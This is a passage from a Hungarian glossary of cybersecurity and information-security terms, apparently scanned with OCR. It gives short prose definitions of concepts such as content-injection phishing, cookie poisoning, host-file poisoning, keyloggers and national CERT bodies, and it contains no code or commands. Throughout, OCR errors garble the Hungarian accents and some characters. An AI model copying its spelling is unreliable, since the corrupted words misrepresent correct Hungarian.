valsagkezelési eljarasainak gyakorlasa stratégiai politikai szinten, amelyben a tagorszagok,
a NATO-parancsnoksag, a stratégiai parancsnoksagok civil és katonai szakemberei vesznek
részt. Ezaltal a valsagkezelés hazai szakértdi és dontéshozoi vegyenek részt a NATO konzul-
tacids és dontéshozatali folyamataban, gyakoroljak Magyarorszag polgari-, katonai valsag-
kezelési eljarasait. [12]

Cloud computing: (,,szdmitastechnikai felhd”, ,,felhd alapu informatika™): A szdmos, na-
ponta boviild informatikai szolgaltatast feloleld gytjtéfogalomnal a szolgaltatasok kozos
jellemzdje, hogy azt nem a felhasznalo szamitogépe/vallalati szamitokdzpontja, hanem egy
tavoli szerver/a vildg barmely pontjan elhelyezhetd szerverkdzpont nyujtja. A leggyakoribb
felho alapt szolgéltatasok az internetes levelezérendszerek, tarhelyek, fejleszté kornyezetek,
virtualis munkaallomasok. Felhd alapt informatika-alapon miikodnek példaul a milliok altal
hasznalt internetes levelezd rendszerek (példaul: Gmail) vagy az online tarhelyek (példaul:
Dropbox). Fontos elony, hogy az ligyfél gazdasdgosan és személyre szabottan juthat informa-
tikai rendszerhez, anélkiil, hogy az ehhez sziikséges draga beruhazasokra koltenie €s a rend-
szerek fenntartasdhoz sziikséges személyzetet alkalmaznia kellene. A felhd alapt informatika
azonban szamos adatvédelmi aggalyt vet fel. A felhasznalé altal feltoltott adatok ugyanis
folyamatos mozgésban vannak, amelyrdl a felhasznal6é nem értestil. T6bb szolgaltatas esetén
a szolgaltatast ny(jto sajat, féleg marketing, céljaira is felhasznalja az ligyfél személyes ada-
tait. A szolgaltatd a vilag minden pontjan igénybe vesz alvallalkozokat, akik az ligyfél tudta
nélkiil dolgozzak fel az adataikat. Tobb (Osszetettebb vallalati) alkalmazas esetén az adatok a
felh6bdl csak nehézkesen menthetdk le, igy a felhaszndlo csak komoly anyagi terhek aran tud
a felh6 alapu szolgaltatastol szabadulni. [2]

Content-injection phishing: Olyan modszert jelent, amikor rossz szandéku tartalmat helyez
el a tdmado egy legitim oldal kodjaban. Ez a tartalom legtobbszor atiranyitja a latogatot egy,
a tamado altal eldkészitett weboldalra, kartékony kodot telepit a felhasznald szdmitogépére
vagy a felhasznal6 altal a modositott weboldalon bevitt adatokat azonnal tovéabbitja a tamado
szamara. [22]

Cookie-k (,,siitik”): Rovid adatfajlok, melyeket a meglatogatott honlap helyez el a felhasz-
naloé szamitdgépén. A cookie célja, hogy az adott infokommunikécios, internetes szolgaltatast
megkonnyitse, kényelmesebbé tegye. Szdmos fajtdja 1étezik, de altalaban két nagy csoportba
sorolhatoak. Az egyik az ideiglenes cookie, amelyet a honlap csak egy adott munkamenet
soran (példaul: egy internetes bankolas biztonsagi azonositasa alatt) helyez el a felhasznalo
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eszkOzén, a masik fajtaja az allandd cookie (példaul: egy honlap nyelvi beallitasa), amely
addig a szamitogépen marad, amig a felhasznalo6 le nem torli azt. Az Eurdpai Bizottsag irany-
elvei alapjan cookie-kat (kivéve, ha azok az adott szolgaltatas hasznalatahoz elengedhetet-
leniil sziikségesek) csak a felhasznald engedélyével lehet a felhasznald eszkozén elhelyezni.
A cookie-k ugyanis szamos adatvédelmi aggalyt vetnek fel, példaul a segitségiikkel nyomon
kovethetdek a felhasznald bongészesi szokasai. [2]

Cookie poisoning: Mas néven siitimérgezés, amely a weblapok miikodését segitd dinamikus
tartalmak, cookie-k, modositasat és azok a webszervernek torténd eljuttatasat jelenti. A mani-
pulalas kiilonféle médokon lehetséges. [23]

Covering tracks: Az IT timadasok egyik 1épése, amely a nyomok eltiintetésérdl szol. Ez egy
célzott timadasnal kiemelt jelentdséggel birhat, hiszen a tdmadé még kevesebb informéciot
szeretne magarol hagyni ezekben az esetekben, mint méaskor. A profi tamado addig tevékeny-
kedik, amig el tudja ugy fedni, tiintetni a tevékenysége altal okozott nyomokat, hogy arra ne,
vagy csak nagyon késon jojjenek ra. [23]

Crime as a Service: Szolgaltatasszerli blin6zés.

Crack: A programok védelmének ,,feltorése”, kijatszasa. A crack eredeti jelentése: valami
keménynek (példaul didhéjnak) az Gsszeroppantasa, feltorése. [5]

Cracker: Az informatikai rendszerbe informatikai eszkozoket hasznalva, direkt rombolasi
céllal betord személy. [5]

Cryptoloot: Kriptobanyasz, amely az aldozat CPU vagy GPU teljesitményét, valamint elér-
hetd eréforrasait hasznalja crypto-banyaszatra, tranzakcidkat rendelve a blockchainhez, igy
szabaditva fel Uj valutat. [16]

Dark Web (Dark Net): A Deep Web része, ahol alapvetden illegélis cselekmények folynak.
Data theft: Az adatlop6 kodok eldre meghatarozott informaciokat keresnek az aldozat gépén
¢és azokat kiildik el az adathaldszoknak/timaddoknak. Ilyen informacidk lehetnek példaul a
jelszavak, licenszkulcsok, aktivald kédok, email-ek, bankkartya adatok, személyes adatok,
illetve barmilyen, keres@szavaknak vagy keresdkifejezéseknek megfeleld tartalom. Ez a fajta
tamadas a vallalati kémkedés legkedveltebb eszkoze, mert azok az érzékeny informacidk,
melyek egy jol védett szerveren tarolddnak, a legtobb esetben megtalalhatoak a kliens gé-
peken is valamilyen formaban. A kliens gépek védelme pedig altaldban alacsonyabb szinti,
mint a szerverek védelme. [22]

Domain Name System (DNS): Azaz a tartomanynévrendszer egy hierarchikus, nagymérték-
ben elosztott elnevezési rendszer szamitogépek, szolgaltatasok, illetve az internetre vagy egy
maganhaldzatra kotott barmilyen eréforras szamara. A részt vevo entitdsok szamara kiosztott
tartomanynevekhez (doménekhez) kiilonb6z6 informécidkat tarsit. Legfontosabb funkcioja-
ként az emberek szamara értelmes tartomanyneveket a halozati eszk6zok szamara érthetd
numerikus azonositokka ,,forditja le”, ,,oldja fel”, melyek segitségével ezeket az eszkozoket
meg lehet talalni, meg lehet cimezni a halozaton. [22]

DNS szerver: A DNS-kiszolgélo egy olyan szolgéltatd oldali szerver, amely az internetes
cimek forditasaért felelds. Ezen szerver segitségével tudunk az interneten keresztiil webolda-
lakon bongészni, e-maileket kiildeni és fogadni. [22]

Dumpster diving: Magyarul hulladék-atvizsgéalasnak, ,kuka-buvarkodasnak” nevezetett
technika, mely soran a tamado atvizsgalja a célszemély szemetesét. A hulladékban a timado
rengeteg olyan dolgot talalhat, amely segitséget nyujthat egy esetleges timadas el6készitésé-
hez és végrehajtasahoz. [8]

Elektronikus informaciobiztonsag: Tavkozlési és informatikai, valamint egyéb elektroni-
kus rendszerekben ¢és a tamogatd infrastruktirdkban alkalmazott rendszabalyok Gsszessége,
amelyek védelmet nytjtanak az elektronikusan eléallitott, feldolgozott, tarolt, tovabbitott és
megjelenitett informacidk bizalmassaganak, sértetlenségének €s rendelkezésre allasanak vé-
letlen vagy szandékos csokkenése ellen. [3]

2
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Elektronikus informéacios rendszer:

a) az elektronikus hirkdzlésrdl szo6l6 torvény szerinti elektronikus hirk6z16 halozat;

b) minden olyan eszkdéz vagy egymassal Osszekapcsolt vagy kapcsolatban allo eszkdzok
csoportja, amelyek koziil egy vagy tobb valamely program alapjan digitalis adatok automa-
tizalt kezelését végzi; vagy

¢) az a) és b) pontban szerepld elemek altal miikddésiik, hasznalatuk, védelmiik és karbantarta-
suk céljabol tarolt, kezelt, visszakeresett vagy tovabbitott digitalis adatok.

Egy elektronikus informacids rendszernek kell tekinteni adott adatkezeld vagy adatfeldolgo-
z6 altal, adott cél érdekében az adatok, informaciok kezelésére hasznalt eszk6zok — igy kiilo-
ndsen kérnyezeti infrastruktira, hardver, halozat és adathordozok —, eljarasok — igy kiilono-
sen szabalyozas, szoftver és kapcsolodo folyamatok —, valamint az ezeket kezeld személyek
egyiittesét. [1]

Elektronikus informaciés rendszer biztonsaga: Az elektronikus informdacios rendszer
olyan éllapota, amelyben annak védelme az elektronikus informacids rendszerben kezelt ada-
tok bizalmassaga, sértetlensége és rendelkezésre allasa, valamint az elektronikus informacios
rendszer elemeinek sértetlensége és rendelkezésre allasa szempontjabol zart, teljes kort, foly-
tonos ¢€s a kockéazatokkal aranyos. [5]

Elosztott szolgaltatas megtagadasos tamadas: Az informatikai szolgaltatas teljes vagy
részleges megbénitasa, helyes mitkodési modjatol valo eltéritése. Egy meghatarozott alkal-
mazas, operacios rendszer ismert gyengeségeit, vagy valamilyen specidlis protokoll tulajdon-
sagait (gyengéit) tdmadja meg. Célja, hogy az alkalmazas vagy rendszer elérésére feljogosi-
tott felhasznalokat megakadélyozza a szamukra fontos informaciok, a szamitogép-rendszer
vagy akar a szamitogép-halozat elérésében. A tdmadas eredményeképpen a rendszer nagyon
lelassul, elérhetetlenné valik, esetleg 0ssze is omolhat. A 1ényege, hogy lehetdség szerint
megakadalyozza a célgép elérését. [5]

Emberi tényez6: Human faktor. Ide értheté minden emberi eréforras, felhasznalo, legyen
maganszemély vagy munkavallalo. [§]

Enumeration: Az IT tdmadasik egyik 1épése, mely alatt a timado kisziiri a hasznos informa-
ciokat a korabbi Iépésekbdl és mélyebb vizsgalatok utjan el tud jutni a rejtett informacidkhoz,
a felhasznalonevekhez, a felhasznaloi csoportok, alkalmazasok, hasznalt protokollok, banne-
rek listdjahoz. E 1épés alatt torténik altalaban a jelszavak megszerzése is.[23]

Escalation of privilege: A felhasznaldi jogosultsdgok kiterjesztését foglalja magaban. A cél,
hogy a korabbi timadasok segitségével a tdmadd minél magasabb szintli hozzaféréssel és jo-
gosultaggal rendelkezzen a cél rendszerben, hogy ott a valddi tevékenységet késobb el tudja
végezni. [23]

Eszlelés: A biztonsagi esemény bekovetkezésének felismerése. [5]

Felhasznalé: Egy adott elektronikus informacids rendszert igénybe vevok kore.[5]
Fenyegetés: Olyan lehetséges muvelet vagy esemény, amely sértheti az elektronikus infor-
macios rendszer vagy az elektronikus informacios rendszer elemei védettségét, biztonsagat,
tovabba olyan mulasztasos cselekmény, amely sértheti az elektronikus informacids rendszer
védettségét, biztonsagat. [5]

Firmware: Kozvetleniil a hardvereszkdzzel egybeépitett ROM, PROM vagy EPROM me-
moériamodulban tarolt szoftver, amelynek feladata az eszk6z miikddtetése, illetve az ahhoz
sziikséges alapvetd be-/kimeneti rutinok biztositasa. [24]

Fizikai védelem: A fizikai térben megvaldsuld fenyegetések elleni védelem, amelynek fonto-
sabb részei a természeti csapas elleni védelem, a mechanikai védelem, az elektronikai jelzo-
rendszer, az ¢l6erds védelem, a beléptetd rendszer, a megfigyeld rendszer, a taparamellatas, a
sugarzott és vezetett zavarvédelem, klimatizalés és a tlizvédelem. [5]
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Fizikai biztonsag: Fizikai biztonsag korébe soroljuk az informécidrendszert mitkkodtetd esz-
kozrendszerek, példaul a szamitogépek, tarolok, halozati eszkdzok fizikai védelmét. A fizikai
védelem eszkozei tobbek kozott a beléptetd rendszerek, a lopasgatlo eszkozok, racsok vagy
biztonsagi ajtok. [9]

Folytonos védelem: Az idében valtoz6 koriilmények és viszonyok kozott is megszakitas nél-
kiil megvalosul6 védelem. [1]

Forraskod analizis: A program forraskddjaban, statikus eszkozokkel, a kod futtatdsa nélkiil
keres biztonsagi réseket. [13]

GDPR: A GDPR roviden az Eurdpai Unio és a Tanécs altal elfogadott, a személyes adatok
védelmérdl és az ilyen adatok szabad aramlasarol szolo rendelete, mas néven altalanos adat-
védelmi rendelet (General Data Protection Regulation). A GDPR kozvetlen hatallyal rendel-
kezik, minden tagallamban kotelezéen alkalmazando. Ennél fogva minden tagéllamban ez a
rendelet lesz a legfontosabb szabalyanyag a személyes adatok kezelése és védelme tekinteté-
ben, att6l eltérni csak akkor lehet, ha azt maga a GDPR megengedi. A rendeletet 2018. majus
25-t61 kell alkalmazni.

Google Hacking: Olyan informaciogytijtési technika, melynek soran a tdmado a Google ke-
resd operatorait hasznalja a minél pontosabb, kifinomultabb talalatok érdekében. [8]
Hacker: Az informatikai rendszerbe informatikai eszkdzoket hasznalva, kifejezett artd szan-
dék nélkiili betord személy. A tomegkommunikacidban helyteleniil minden szamitogépes bii-
nozore hasznaljak. Eredeti jelentése szerint a hacker olyan mesterember, aki fabol targyakat
farag. [5]

Hacktivizmus: Olyan cselekedet, amelyben a timadok szamitogép halézatokba hatolnak be,
¢€s az ott megszerzett adatokat kozzéteszik, hogy igy hivjak fel a figyelmet az altaluk képvi-
selt célokra. Fogalmilag bar nem azonos, mégis szamos kozds pont van a kiberterrorizmus-
sal. Mindkettdre jellemzd, els6sorban kisebb, decentralizalt csoportok hajtjadk végre azokat
tamadasok, amelyek célja, hogy felhivjak a figyelmet a csoport altal képviselt ideoldgiai
véleményre. Hatdsuk bar elenyészd, ugyanis nem rendelkeznek azzal a képességgel, amely
egy hatékony kibertdmadashoz sziikséges lenne, a médiahatasuk azonban igy is igen komoly
lehet. Napjainkban az egyik legismertebb hacktivista csoport a 4chan nevii féorum tagjaibol
megalakult Anonymous csoport. [25]

Halézat: Informatikai eszk6zok kozotti adatatvitelt megvalositd logikai és fizikai eszk6zok
Osszessége. [5]

Hardver: Az informacids rendszerek (talan) legegyértelmiibb eleme, mely magéban foglal
minden olyan eszkozt, vagy részelemet, mely az informécio feldolgozasaban, tovabbitasaban,
tarolasaban részt vesz. Az okos eszk6zok esetében ez altalaban maga az eszkoz, de idonként
kiegésziilhet olyan opcionalis elemekkel, melyek ideiglenesen, vagy alland6 modon csatla-
koztathatok az eszkozhoz. [19]

Hardver/szoftver token: A token egy jellemzden PIN-koddal védett kodgenerator, amely
lehet hardveres vagy szoftveres alapon miikodo. A token egy egyszer felhasznalhato (eldre
meghatarozott ideig érvényes) jelszot vagy kodsorozatot ad meg, ami biztonsagi kodként
szolgal az adott rendszerbe torténd bejelentkezéshez, vagy egyéb miivelet elvégzéséhez. [19]
Hitelesség: Az adat tulajdonsaga, amely arra vonatkozik, hogy az adatot bizonyitottan vagy
bizonyithatéan az elvart forrasbol szarmazik. [5]

Hoax: Olyan e-mail, ami valamilyen 0j — altalaban fiktiv — virus terjedésére figyelmeztet, és
a fert6zés megakadalyozésa érdekében egy vagy tobb fajl torlésére 6sztondz (ezek azonban a
rendszer miikodéséhez sziikséges, de kevésbé ismert allomanyok). Az e-mail tovabb kiildésé-
re is buzdit, hogy a levélaradat — lanc-levél — szlikkeresztmetszetet generaljon a halozaton. [5]
Host file poisoning: Amikor egy felhasznalo el akar érni egy weboldalt (példaul: www.penz-
intezet.hu) és a bongészd cimsordba begépeli az URL cimet, akkor a beirt cimet a szami-
togépnek at kell forditania numerikus karakterekké, azaz a domain nevet IP cimmé kell 4t-
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alakitania. Alapértelmezetten ez egy DNS (Domain Name System) lekérdezéssel torténik.
Annak érdekben, hogy ezt ne kelljen minden egyes alkalommal elvégeznie a szamitogépnek,
a mar egyszer meglatogatott domain nevekhez tartozé IP cimeket tobb operacios rendszer is
ugynevezett host file-okban tarolja. Ha ennek a file-nak a tartalma modositasra keriil, akkor
a felhasznal6 altal megadott www.penzintezet.hu domain helyett a tdmado altal kivant IP
cimen talalhat6 oldalt fogja betdlteni a bongészd. Ezen az oldalon altaldban egy megtévesztd
masolata jelenik meg az eredeti oldalnak, igy a felhasznal6 gyanutlanul megadhatja az eredeti
oldalhoz tartoz6 belépési adatait, melyek igy a tdimadohoz keriilnek. [22]

HunCERT: Az MTA SZTAKI keretén beliil a miikodik a HunCERT csoport, amely az Inter-
net Szolgaltatok Tanacsanak (a tovabbiakban: ISZT) tAmogatasaval végzi a munkajat. Fela-
data, hogy az ISZT tagszervezeteinél (tehat a nem allami szereploknél) eléforduld haldzati
incidensek felderitésénél, elemzésénél €s kezelésénél segitséget nydjtsanak az ligyfeleknek
¢s a tagszervezeteknek. Tovabbi célja a biztonsagi tudatossag novelése. Ez utobbi tevékeny-
ség els6sorban nem a hivatasszeriien szamitastechnikaval foglalkozdkat célozza meg, hanem
az ISZT tagok nagyszamu felhasznaldinak kivan olyan informécidt nytjtani, amely képessé
teszi Oket az Internet hasznalataval egylitt jaro kockdzatok minél teljesebb megértésére és a
sikeres védekezésre. [13]

Hybrid felhasznalo és jogosultsagkezelési miikodés: Olyan szervezeti miikddés, ahol a
felhasznalo és jogosultsagkezelés tobb modszerrel tamogatott egyiddben. Ezalatt értjiik az
Identity management rendszerrel tamogatott és vezérelt, szerepkorositett rendszerek és a sajat
felhasznal6 és jogosultsagkezeld funkcidt alkalmazo rendszerek egyidejii mikodését. [19]
Illetéktelen személy: Valamely tevékenység végzésére nem jogosult személy. Az informati-
kai biztonsag esetében tipikusan az objektumba, az informatikai rendszerbe torténd belépés-
re, adatkezelésre nem jogosult személy. [5]

Informacié: Bizonyos tényekrdl, targyakrol vagy jelenségekrdl hozzaférhetd forméban meg-
adott megfigyelés, tapasztalat vagy ismeret, amely valakinek a tudasat, ismeretkészletét, an-
nak rendezettségét megvaltoztatja, atalakitja, alapvetden befolyasolja, bizonytalansagat csok-
kenti vagy megsziinteti. [1]

Informacidbiztonsag: Olyan tevékenység vagy allapot, amely kdzéppontjaban: a bizalmas-
sag, a sértetlenség és rendelkezésre allas jelenik meg, fliggetleniil attol, hogy az informéaciot
hordozo6 adat milyen megjelenési format vesz fel (példaul: alfabetikus, numerikus, grafikus,
képi forma) és milyen adathordozon jelenik meg. [26]

Informacidgyiijtés (footprinting): Az informatikai biztonsagi terminoldgiaban a felderitést,
megfigyelést foglalja magéba és altalaban egy megel6zd 1épése a tiamadasoknak. A felderités
célja annak feltardsa, hogy az informacios rendszerben melyek azok a sériilékeny elemek,
amelyek Onélloan vagy Osszességében egy sikeres tdmadas kivitelezéséhez vezetnetnek. A
felderités, megfigyelése az informacids rendszernek — a sikeres tdmadas érdekében — észle-
1és nélkiil akar honapokon, sét éveken keresztiil is folyhat, a felderités valddi idébenisége,
a tdmadas pontos kezdete célzott kivizsgalas és megfeleld bizonyitékok hidnyaban jol nem
meghatarozhatd. [27]

Informaciévédelem: Osszetettsége miatt a definicids meghatarozas helyett, azokat a tevé-
kenységeket rogzitjiik, amelyekkel maga a védelmi tevékenyég leirhatd. Ide sorolhat6 az in-
formaciot hordozo entitasok (személyek €s eszk6zok) védelme, azaz az elektronikus informa-
cios rendszerek adminisztrativ, fizikai és logikai védelme, az irat- ¢s dokumentumvédelem,
valamint a személyi védelem is. Az informaciovédelem célja — hasonloan az adatvédelemhez
—ajogosulatlan hozzaférés, modositas vagy megsemmisités elleni védelem és az informaciok
folyamatos rendelkezésre alldsanak biztositasa. Az informacidk bizalmassaganak, sértetlen-
ségének ¢és rendelkezésre allasanak védelme. [5]
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Informatikai biztonsag: Egy informatikai rendszer olyan allapota, amelyben zart, teljes
kort, folytonos és a kockdzatokkal aranyos védelem valdsul meg. Ez azt jelenti, hogy egy,
az 0sszes fenyegetést figyelembe vevo, a rendszer valamennyi elemére kiterjedd, az idében
valtozo koriilmények és viszonyok ellenére is megszakitas nélkiil megvaldsuld védelmi rend-
szer. [5]

Informatikai biztonsagpolitika: A biztonsagi célok, alapelvek €s a szervezet vezetdi elkote-
lezettségének bemutatisa az e torvényben ¢és a végrehajtasara kiadott jogszabalyokban meg-
hatarozott biztonsagi feladatok iranyitasara és tamogatasara. [5]

Informatikai biztonsagi stratégia: Az informatikai biztonsagpolitikaban kitlizott célok
megvalositasanak utja, modszere. [5]

IntCERT: Az Informacids Hivatal a polgari hirszerzd tevékenységet végzd nemzetbiztonsagi
szolgalat elektronikus informacios rendszereit érintd biztonsagi események €s fenyegetések
kezelése feladatanak ellatasara a szervezeti keretén beliil miikodd eseménykezeld kdzpontot
(IntCERT) miikodtet. [13] A feladatot az Ibtv. 18.§ (10) bekezdése alapjan a Nemzetbizton-
sagi Szakszolgalat latja el.

Internet of Things (Iot): A dolgok internete kifejezés kiilonb6zd, egyértelmiien azonosithatd
objektumokra, és azok internet-szer(i halozatara utal. A kifejezést 2009-ben alkotta meg Ke-
vin Ashton, de a koncepci6 otlete 1991-ben vetddott fel eloszor. Objektum alatt értjiik ebben
az esetben az 0sszes olyan elektronikai eszkozt, mely képes valamilyen hasznos informéciot
felismerni, ,,mérni”, és ezt kommunikalni is egy masik eszkoz felé. Lehet ez egy okostelefon,
egy vérnyomasméro, vagy az autonk fedélzeti szamitdégépe (ECU). Nincsenek sem méretbeli,
sem pedig felhasznalasi megkotései ezen eszkdzoknek. [28]

i0S: Az Apple Inc. mobil operacios rendszere, amelyet iPhone, iPod touch és 1Pad késziilé-
kekre fejlesztenek.

Katonai Nemzetbiztonsagi Szolgalat Kibervédelmi Kézpontja: A honvédelmi célu elekt-
ronikus informécids rendszereket érintd biztonsagi események és fenyegetések kezelését
veégzo szerv.

Keylogger: Mas néven keystroke logger, olyan billentylizet naploézasra alkalmas program,
amely a felhasznalo altal begépelt karaktereket, illetve a képerny0 tartalmat naplézza, majd
eltarolja azt. [8]

Kémprogramok (spyware): A rendszerbe jutva a hattérbdl figyelik a rendszerben lezajlo
eseményeket, melyekrdl jelentéseket €s adatokat kiildenek a timadonak, de céljuk tovabba az
infokommunikaciés eszk6zon 1évo informacidk megszerzése a felhasznald tudta nélkdl. [11]
Kézi vagy manualis informatikai biztonsagi vizsgalat: Olyan biztonsagi vizsgalati eljaras,
mely soran az érintett szervezet informatikai rendszerének sériilékenységei a vizsgalatot vég-
z0 személy altal egyedileg, manudlisan 0sszedllitott lekérdezések alkalmazasaval keriilnek
feltérképezésre. [13]

Kiberbiztonsag: A kibertérben 1étez6 kockazatok kezelésére alkalmazhatod politikai, jogi,
gazdasagi, oktatési és tudatossagnoveld, valamint technikai eszkdzok folyamatos és tervsze-
ri alkalmazasa, amelyek a kibertérben 1étez6 kockazatok elfogadhato szintjét biztositva a
kiberteret megbizhaté kornyezetté alakitjak a tarsadalmi €s gazdasagi folyamatok zavartalan
miikodéséhezés miikodtetéséhez. [1]

Kibervédelem: A kibertérbdl jelentkezd fenyegetések elleni védelem, ideértve a sajat kiber-
tér képességek megorzését. [1]

Kiberbiinozés: Cé¢lja az informatikai eszk6zokon keresztiili minél nagyobb jovedelem meg-
szerzése. Ez a blinelkdvetési forma alapvetden a hagyomanyos szervezett blindzéshez kothe-
td, amelyek rendkiviil adaptiv tulajdonsaggal jellemezhetdek, hiszen igen koran felismerték
az ezen a teriileten meglevo lehetdségeket
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Kiberhadviselés: Az allamok kozti nézeteltérésekben jelenik meg, amelynek soran a felek
informatikai eszk6zokkel timadjak az ellenfél informatikai eszkozeit, egyelére még inkébb a
konvencionalis hadviselés tamogatasara. [12]

Kiberkémkedés: Az allamok és nagyvallalatok altal szervezett, elektronikus informacios
rendszerekbdl szarmaz6 adatokat érintd informacidszerzést értiink. Napjainkban a kiberbii-
nozés mellett ez a legaktivabb teriilet. [29]

Kihivas: Az altaldnosan értelmezett biztonsag egyes dsszetevdire hatd olyan helyzetek és
allapotok Osszessége, amelyek ereddi hatranyosan befolyasoljak a belsd €s kiilso stabilitast €s
kihatéassal lehetnek egy adott régi6 hatalmi viszonyaira. [30]

Kockazat: A fenyegetettség mértéke, amely egy fenyegetés bekovetkezése gyakorisaganak
(bekovetkezési valoszinliségének) €s az ez altal okozott kar nagysaganak a fliggvénye. Az al-
talanosan értelmezett biztonsag egyes Osszeteviire hatd olyan helyzetek és allapotok 6sszes-
sége a lehetséges veszélyek megvalosulési szintjén, amikor a nemzeti érdekek sériilhetnek,
ezaltal veszteségek keletkezhetnek. [5]

Kockazatazonositas: Célja, azon helyzetek, lehetdségek, események felismerése, melyek a
kitizott céloknak vald megfelelést befolyasolhatjak. Az azonosités, a lehetdségek felmérésén
tul magaban kell, hogy foglalja mindazokat a tényezoket, melyek a kockézat kialakulasanak
kornyezetét jelentik. Ebben ki kell térni azokra a folyamatokra, szabalyozokra, technikai esz-
kozokre, emberekre, rendszerekre, hardver €s szoftver tényezdkre stb. melyek relevansak a
kockazat és kornyezet megértésének szempontjabol.

Kockazatelemzés: Az elektronikus informécids rendszer értékének, sériilékenységének
(gyenge pontjainak), fenyegetéseinek, a varhatd karoknak és ezek gyakorisaganak felmérése
utjan a kockazatok feltarasa és értékelése. [5]

Kockazatértékelés: Valaszt kaphatunk olyan kérdésekre, mint példaul: Kell-e kezelni egy
kockazatot? Ha igen, milyen sorrendben? Megkezdhet6-e egy adott beruhazas, folyamat a je-
lenlegi paraméterekkel? A kiilonb6zd lehetséges megoldasok koziil melyiket kell valasztani?
A kiilonbozd besorolasok, értékelése értelmezésére a legtobb esetben nem két (elfogadhato,
nem elfogadhatd) hanem harom, (elfogadhato, feltételekkel elfogadhato, nem elfogadhatd)
kategoriat célszeri 1étrehozni. [5]

Kockazatkezelés: Az elektronikus informécios rendszerre hatdé kockézatok csokkentésére
iranyul6 intézkedésrendszer kidolgozasa. [5]

Kockazattal aranyos védelem: Az elektronikus informacioés rendszer olyan védelme, amely-
nek sordn — egy kellden nagy iddintervallumban — a védelem kdltségei aranyosak a fenyege-
tések altal okozhato karok értékével. [5]

Kozigazgatas: Azon szervezetek Osszessége, amelyek kozhatalmat gyakorolva, az allam
vagy az dnkormanyzat nevében kozfeladatokat latnak el és jogszabalyokat hajtanak végre. A
helyi koziligyekben az dnkormanyzati igazgatas, az orszagos jelentdségli tigyekben a kozponti
kozigazgatas jar el.

Kozérdekii adat: Az allami vagy helyi dnkorményzati feladatot, valamint jogszabalyban
meghatarozott egyéb kozfeladatot ellatd szerv vagy személy kezelésében 1évo és tevékeny-
ségére vonatkozo vagy kozfeladatanak ellatasaval Osszefiiggésben keletkezett, a személyes
adat fogalma ald nem es6, barmilyen modon vagy formaban rogzitett informaci6 vagy isme-
ret, fliggetlentil kezelésének modjatol, 6nalld vagy gytijteményes jellegétdl, igy kiilondsen a
hataskorre, illetékességre, szervezeti felépitésre, szakmai tevékenységre, annak eredményes-
ségére is kiterjedd értékelésére, a birtokolt adatfajtakra és a miikodést szabalyozo jogszaba-
lyokra, valamint a gazdalkodasra, a megkdotott szerzodésekre vonatkozé adat. [20]
Kormanyzati Eseménykezelé6 Kozpont (GovCERT): A GovCERT alapvetd rendelteté-
se az allami és dnkormanyzati szervek informatikai biztonsagi tdmogatasa, amely egyrészt
megeldzd jelleggel, ugynevezett sériilékenység menedzsment formdjaban a szoftver-sériilé-
kenységek és informacidbiztonsagi fenyegetések nyomon kovetésére, valamint a fenyegetés
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kivaltotta biztonsagi esemény megeldzése érdekében az érintett IT rendszerek iizemeltetdi-
nek tajékoztatasara fokuszal. Ezen tilmenden pedig reaktiv jelleggel, igynevezett incidens-
kezelési tevékenységet 14t el, amely a védett szerveknél bekdvetkezd biztonsagi események
(incidensek) kivizsgalasara és — tobb allami szervet érintéen — a kezelésilik koordinaciojara
iranyul. [31]

Kozosségi média: Social Media vagy szocialis média. Olyan tartalommegoszt6 feliilet, me-
lyet barki szerkeszthet. Ide sorolhatéak a kozosségi oldalak (példaul Facebook, LinkedIn
stb.), kép- és videdbmegosztod portalok (példaul Instagram, YouTube stb.), blogok, férumok.
[8]

Kozremiikodé: Az tizemeltetd, adatkezeld, adatfeldolgozo és ezen fogalmak ala tartozo sze-
mélyi és szervezeti kor az Ibtv. szerint az elektronikus informaciobiztonsag szervezeti érvé-
nyesiilését illetéen kozremiikodonek mindsiil. Az adatfeldolgozon, az adatkezeldn €s az tlize-
meltetdn tal kozremiikodonek tekinti tovabba az Ibtv. az elektronikus informécios rendszer
létrehozasaban, auditalasaban, karbantartasaban vagy javitdsaban, tovabba tervezésében, fej-
lesztésében, vizsgalataban, kockdzatelemzésében és kockazatkezelésében részt vevok korét.
[2]

Kritikus informaciok: Azok a sajat szandékokra, képességekre, tevékenységekre vonatkozo
fontos informaciok, amelyek a masik fél szamara feltétleniil sziikségesek sajat tevékenysé-
giik, hatékony tervezéséhez és végrehajtasahoz. [13]

Kritikus sériilékenység: Kritikusnak tekinthetd az a sériilékenység, amely a bizalmassagot,
sértetlenséget vagy rendelkezésre allast nagymértékben sérti, illetdleg a sériilékenység tavol-
rol, kdnnyedén vagy hitelesités nélkiil kihasznalhato, tehat valds és komoly veszélyt jelent a
rendszerre és az abban tarolt adatokra. [13]

Kriptografia: Mindazoknak az eljardsoknak, algoritmusoknak, biztonsagi rendszabalyoknak
kutatasat, alkalmazasat jelenti, amelyek informacionak illetéktelenek eldli elrejtését hivatot-
tak megvalositani. Rejtjelzés, titkositas. [5]

Kriptovaluta: Olyan digitalis eszkdz, mely csereeszkozként vagy manapsag fizetdeszkoz-
ként is funkciondl. Kriptografiat (titkositast) hasznal a tranzakciok biztonsagossaga érdeké-
ben. A kriptovalutdk a digitalis valutak egy részhalmazat képviselik, de besorolhatok az alter-
nativ valutdk vagy a virtualis valutak csoportjaba is. [5]

Kiilonleges adat: Faji eredetre, nemzetiséghez tartozasra, a politikai véleményre vagy par-
tallasra, az érdek-képviseleti szervezeti tagsagra, vildgnézeti vagy vallasi meggy6zddésre,
illetve a szexualis életre vonatkozo személyes adat, tovabba e kategoridba sorolhaté még az
egészségiigyi allapotra, a koros szenvedélyre vonatkozo, és a biiniigyi személyes adat is. [20]
Létfontossagi Rendszerek és Létesitmények Informatikai Biztonsagi Eseménykezelo
Kozpont (LRLIBEK): A 1étfontossagu rendszerek és 1étesitmények azonositasarol, kijelolé-
sérol és védelmérdl szol6 2012. CLXVI. torvény alapjan 2018 végéig a kijelolt 1étfontossagu
1étesitmények elektronikus informacids rendszereit érintd biztonsagi események €s fenyege-
tések kezelését — az 4llami és onkormanyzati szervek kivételével —a BM Orszagos Kataszt-
rofavédelmi Foigazgatdsag altal mikodtetett LRLIBEK latta el. [13]

Létfontossagu rendszerelem: az Lrtv. 1. mellékletében meghatarozott dgazatok valamelyi-
kébe tartozd szolgaltatas, eszkdz, létesitmény vagy rendszer olyan rendszereleme, tovabba
azok altal nyujtott szolgaltatasok, amelyek elengedhetetlenek a Iétfontossagu tarsadalmi fel-
adatok ellatasadhoz - igy kiilonosen az egészségiigyhoz, a lakossag személy- és vagyonbizton-
